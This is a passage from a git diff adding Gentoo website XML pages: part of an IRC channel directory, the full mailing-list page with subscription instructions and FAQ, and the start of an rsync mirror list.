+    link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th><uri link="/proj/en/qa/treecleaners">Gentoo Tree Cleaning Team</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th>The Trustees of the <uri link="/foundation/en/">Gentoo Foundation</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>This is where you can find and speak with the user representatives.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>Support and development channel for virtualbox on gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Gentoo VDR and DVB related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+  <th>Gentoo Vim discussion</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Voice over IP related Discussion</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+  <th>Gentoo Virtual Private Server related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>Everything web- and webapp related (on Gentoo of course)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-wiki">#gentoo-wiki</uri></ti>
+  <th><uri link="/proj/en/wiki">Gentoo Wiki</uri> discussion</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Regional Support Channels</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>Support for Indian Gentoo Users and Indic localization</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>На русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/lists.xml b/xml/htdocs/main/en/lists.xml
new file mode 100644
index 00000000..4ec19d7d
--- /dev/null
+++ b/xml/htdocs/main/en/lists.xml
@@ -0,0 +1,699 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/lists.xml,v 1.119 2010/08/30 03:09:04 nightmorph Exp $ -->
+
+<mainpage>
+<title>Gentoo Mailing Lists</title>
+
+<author title="Author">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="Author">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+Gentoo public mailing lists
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>6</version>
+<date>2010-08-29</date>
+
+<chapter>
+<title>Mailing Lists</title>
+<section>
+<body>
+
+<p>
+The Gentoo free software project has a number of public mailing lists, covering
+a variety of Gentoo-related subjects. Our mailing lists are powered by <uri
+link="http://mlmmj.mmj.dk">mlmmj</uri> and provides <c>List-Id:</c> mail headers
+and <c>[listname]</c> subject prefixes to comply with modern mailing list
+manager standards and conventions.
+</p>
+
+<p>
+One interacts with <c>mlmmj</c> via email. To subscribe to a list, send an
+empty email to:
+</p>
+
+<p>
+<c>listname+subscribe@lists.gentoo.org</c>
+</p>
+
+<note>
+Replace 'listname' with the actual name of the list that you want to subscribe
+to, e.g.: <c>gentoo-user+subscribe@lists.gentoo.org</c> to subscribe to the
+<c>gentoo-user</c> mailing list.
+</note>
+
+<p>
+Once subscribed to the list, you can post to it by sending an email to:
+</p>
+
+<p>
+<c>listname@lists.gentoo.org</c>
+</p>
+
+<p>
+To unsubscribe from a list, send an empty email to:
+</p>
+
+<p>
+<c>listname+unsubscribe@lists.gentoo.org</c>
+</p>
+
+<p>
+All of our lists also have a corresponding digest list. Digest lists will mail
+a single email to you every couple of days, rather than individual emails for
+each post. If you are subscribed to the digest variant and wish to be
+unsubscribed, you must specifically unsubscribe from the digest variant. Using
+the email address that you wish to (un)subscribe, send an empty email to the
+following addresses to subscribe and unsubscribe from mailing lists
+respectively:
+</p>
+
+<p>
+<c>listname+subscribe-digest@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+Some users may want to post to the list, but not actually receive mail from
+it (such as those who read lists via an alternate method, such as gmane).
+These users may subscribe to the "nomail" option of each list: 
+</p>
+
+<p>
+<c>listname+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+
+<p>
+You can learn more about the capabilities of mlmmj by sending an empty mail to
+the following address:
+</p>
+
+<p>
+<c>listname+help@lists.gentoo.org</c><br/>
+</p>
+
+<impo>
+You can also learn more about the Gentoo mailing list system, including
+etiquette and acceptable behavior, by reading the short Gentoo <uri
+link="#faq">mailing list FAQ</uri> that appears later in this document.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Primary Gentoo Mailing Lists</title>
+<body>
+
+<table>
+<tr>
+  <th>List name</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>General Gentoo user support and discussion mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>General Gentoo announcements list (new releases, security fixes)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>General Gentoo developer discussion mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Gentoo development-specific announcements list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>For the discussion of non-technical matters in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>For the discussion of security issues and fixes</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Gentoo Monthly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>For documentation contributions, suggestions, improvements and translations</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>Subscribe to this list if you want to be notified on changes regarding our documentation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>Subscribe to this list if you want to be notified on changes in the CVS and SVN trees. This is a high-traffic read-only list!</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>For Gentoo Linux/PowerPC user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>For Gentoo Linux/PowerPC developer discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>For Gentoo Linux/Alpha user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>For Gentoo Linux/AMD64 user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Discussions about running Gentoo on the HPPA architecture</ti>
+</tr>	
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Discussions about running Gentoo on the MIPS architecture</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>For Gentoo Linux/Sparc user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Discussion about Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>Discussion about the <uri link="/proj/en/gentoo-alt/">Gentoo on Alternate Platforms Project</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>Release announcements for gentoo-sources, vesafb-tng, fbsplash and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>Discussion on powersaving, pcmcia and other laptop-related stuff</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Mailing list devoted to Gentoo on the desktop</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>Discussions about improving the Gentoo desktop experience</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>For a security hardened version of Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Portage Internals and Portage Interface Development Discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Mailinglist dedicated to catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Discussions about Gentoo in production environments</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Discussion about Gentoo Linux administration issues</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Discussions about Gentoo in clustered environments</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>Discussion and help with ebuild developement issues for users</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>Discussion of web configuration and administration related to Gentoo's web tools</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>For Gentoo Linux/embedded user and developer discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Mailinglist for the Gentoo release management team</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Mailinglist for all Gentoo public-relation discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Discussions about QA and its improvement within Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Gentoo Developer Relations mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Gentoo User Relations mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Gentoo Council mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>Announcements and discussion among Gentoo mirror admins and developers regarding releases and other issues</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Discussion of perl on Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Discussion about Java on Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>Discussion on science-related applications and integration in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Discussion about GNUstep on Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>Discussion about the <uri link="/proj/en/desktop/accessibility/">Gentoo Accessibility Project</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>Discussion within United Kingdom developers and UK based events organisation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>Discussion within Australian developers and local events organisation</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>Discussion on Gentoo activities related to Google's Summer of Code</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Discussion about Lisp on Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Discussion about VDR on Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>The Gentoo NFP/Trustees Mailing list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>Discussion about migration of primary Gentoo repositories to alternate SCMs.</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pms</c></ti>
+  <ti>Discussion about the Gentoo Package Manager Specification.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Non-English Mailing Lists</title>
+<body>
+
+<table>
+<tr>
+  <th>List name</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>deutschsprachige Gentoo User Diskussionsliste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Brazilian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-el</c></ti>
+  <ti>Greek Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Lista para la ayuda y discusion de usuarios hispano-hablantes de Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>French Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Hungarian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Indonesian Gentoo User Mailing List</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Korean Gentoo User Mailing List</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>Dutch Gentoo User Mailing List</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Polish Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Czech and Slovak Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Russian Gentoo User Mailing List</ti>
+</tr>
+<tr>
+  <ti><c>GENTOO-gwn-es</c></ti>
+  <ti>Spanish Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>German Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Greek Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista de correo dedicada a la traduccion y creacion de documentacion en
+    Espanol de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>Finnish Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>French Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>Italian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>Dutch Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Polish Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Russian Gentoo Documentation Translation List</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Other Mailing Lists</title>
+<body>
+
+<table>
+<tr>
+  <th>List name</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>For the discussion of libconf development</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    Special-purpose list for the Gentoo Bug Wranglers. This mailing list is by
+    invite only. If you are interested in joining, simply get active on
+    bugzilla and help our existing members wrangle bugs. You'll get noticed and
+    invited to be a bug-wrangler in due course.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Inactive, Closed Gentoo Mailing Lists</title>
+<body>
+
+<p>
+Archives still exist but these lists are closed for new posts.
+</p>
+
+<table>
+<tr>
+  <th>List name</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>Lithuanian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>Indonesian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Gentoo Forums translations list</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>For discussion of document translation issues</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Discussions about running Gentoo on the ARM architecture</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>French Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Polish Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>
+    Discussion of programming language support and related issues in Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>For Gentoo Linux/ia64 user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>
+    Discussion about the <uri link="/proj/en/scire/">Systems Configuration,
+    Installation and Replication Environment Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Discussion about Gentoo media packages</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Dutch Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>Hungarian Gentoo Documentation Translation List</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>German Gentoo Weekly Newsletter</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Discussion about Gentoo for Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>For Gentoo cygwin user support and discussion</ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>Dedicated to the development of the new Gentoo website</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>
+    Discussion about the <uri link="/proj/en/releng/installer/">Gentoo Linux
+    Installer Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Discussions about improving the performance of Gentoo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>Archives</title>
+<body>
+
+<p>
+Gentoo mailing list archives are collected on <br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+The following sites also host archives of most of the mailing lists.<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/> 
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+
+<section id="faq">
+<title>Mailing List Mini-FAQ</title>
+<body>
+
+<p>
+<b>I subscribed to a list using my home email address, but I can't post to
+the list from work. What do I do to fix this?</b>
+</p>
+
+<p>
+To reduce spam, all of our lists are configured to only allow posts from
+official subscriber email addresses. Fortunately, <c>mlmmj</c> supports "nomail"
+subscriptions, allowing you to register alternate email addresses that can be
+used only for posting to the list. Here's an example of how this works.  Let's
+say you subscribed to the <c>gentoo-dev</c> list as <c>jim@home.com</c>, but
+you'd also like to post to the list using your <c>james@work.com</c> email
+address. To do this, send a message (as <c>james@work.com</c>) to
+<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c> You should then be allowed
+to post to <c>gentoo-dev</c> using both your home and work email addresses.
+</p>
+
+<p>
+In line with the original spam reduction goal, if you post to the list from a
+non-subscribed address, your mail will be delivered to <path>/dev/null</path>.
+You will <b>not</b> receive any bounce message from our servers. This prevents
+spammers from forging your address to get a bounce delivered to you.
+</p>
+
+<p>
+<b>I want to switch from regular delivery to digest delivery. How do I do
+this?</b>
+</p>
+
+<p>
+Unsubscribe from the normal list and then subscribe to the digest list. For
+list <c>listname</c>, this would be done by sending empty emails to the
+following two addresses:
+</p>
+
+<p><c>listname+unsubscribe@lists.gentoo.org</c><br/>
+<c>listname+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>How do I use procmail to filter Gentoo mailing list messages?</b>
+</p>
+
+<p>
+To filter incoming mail arriving from list <c>listname</c>, use the following
+<c>procmail</c> recipe:
+</p>
+
+<pre caption="Sample procmail recipe">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+This is identical to how you'd filter incoming <e>Mailman</e> mailing list
+manager emails.
+</p>
+
+<p>
+<b>Miscellaneous list policies.</b>
+</p>
+
+<p>
+HTML email is discouraged, but not forbidden (there are some MUA, specifically
+web-based that make it very hard to disable HTML entirely).  Beware that some
+users may have their recieving side configured to hide HTML entirely, so it
+might look like you are ignored, especially if you sent HTML-only email. In
+order of preference, you should endeavour to send: text/plain, multipart with
+text/plain before text/html, text/html. MIME is acceptable and widely used.
+</p>
+
+<p>
+Please do not send any vacation or out of office messages to the list. In the
+interests of reducing list spam, if you set any auto-responding message that
+goes to the lists, we will unsubscribe your account from ALL lists. Any
+previously subscribed addresses that send mail server messages to the lists will
+also be removed.
+</p>
+
+<p>
+Do not cross-post when sending messages to a list! Sending the same message to
+more than one list at a time leads to fragmentation of the thread when some
+people reply on one list, and some on another list. There's no guarantee that
+the recipients of your message are on both lists. Choose just one list when
+sending a message.
+</p>
+
+<note>
+For general email list etiquette, <uri
+link="http://www.dtcc.edu/cs/rfc1855.html">these guidelines</uri> are an
+excellent primer.
+</note>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/mirrors-rsync-data.xml b/xml/htdocs/main/en/mirrors-rsync-data.xml
new file mode 100644
index 00000000..a9d9c564
--- /dev/null
+++ b/xml/htdocs/main/en/mirrors-rsync-data.xml
@@ -0,0 +1,624 @@
+<?xml version='1.0'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/mirrors-rsync-data.xml,v 1.40 2010/08/10 21:25:59 darkside Exp $ -->
+<?xml-stylesheet href="/xsl/mirrors.xsl" type="text/xsl"?>
+
+<!-- This file is ONLY for Portage rsync mirrors -->
+<!DOCTYPE mirrors SYSTEM "/dtd/mirrors.dtd">
+
+<mirrors>
+
+<mirrorgroup region="North America (rsync.namerica.gentoo.org)" country="CA">
+  <mirror>
+    <name>Any available mirror - rsync.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Tera-byte Dot Com Inc - rsync1.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Gossamer Threads</name>
+    <uri protocol="rsync">rsync://rsync2.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Memorial University - rsync3.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Waterloo - rsync4.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync4.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Arctic Network Mirrors - rsync5.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync5.ca.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>mirror.the-best-hosting.net - rsync6.ca.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync6.ca.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="North America (rsync.namerica.gentoo.org)" country="US">
+  <mirror>
+    <name>Any available mirror - rsync.us.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Delaware, Delaware Linux Users Group -
+		rsync2.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync2.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Georgia Tech - rsync3.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Rochester Institute of Technology - rsync5.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync5.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Northern Iowa - rsync6.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync6.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>CERIAS, Purdue University - rsync7.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync7.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Idaho - rsync8.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync8.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gentoo.insync.za.net - rsync9.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync9.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>NetNITCO Internet Services - rsync15.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync15.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Chemistry Dept, University of Wisconsin at Madison -
+		rsync21.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync21.us.gentoo.org</uri>
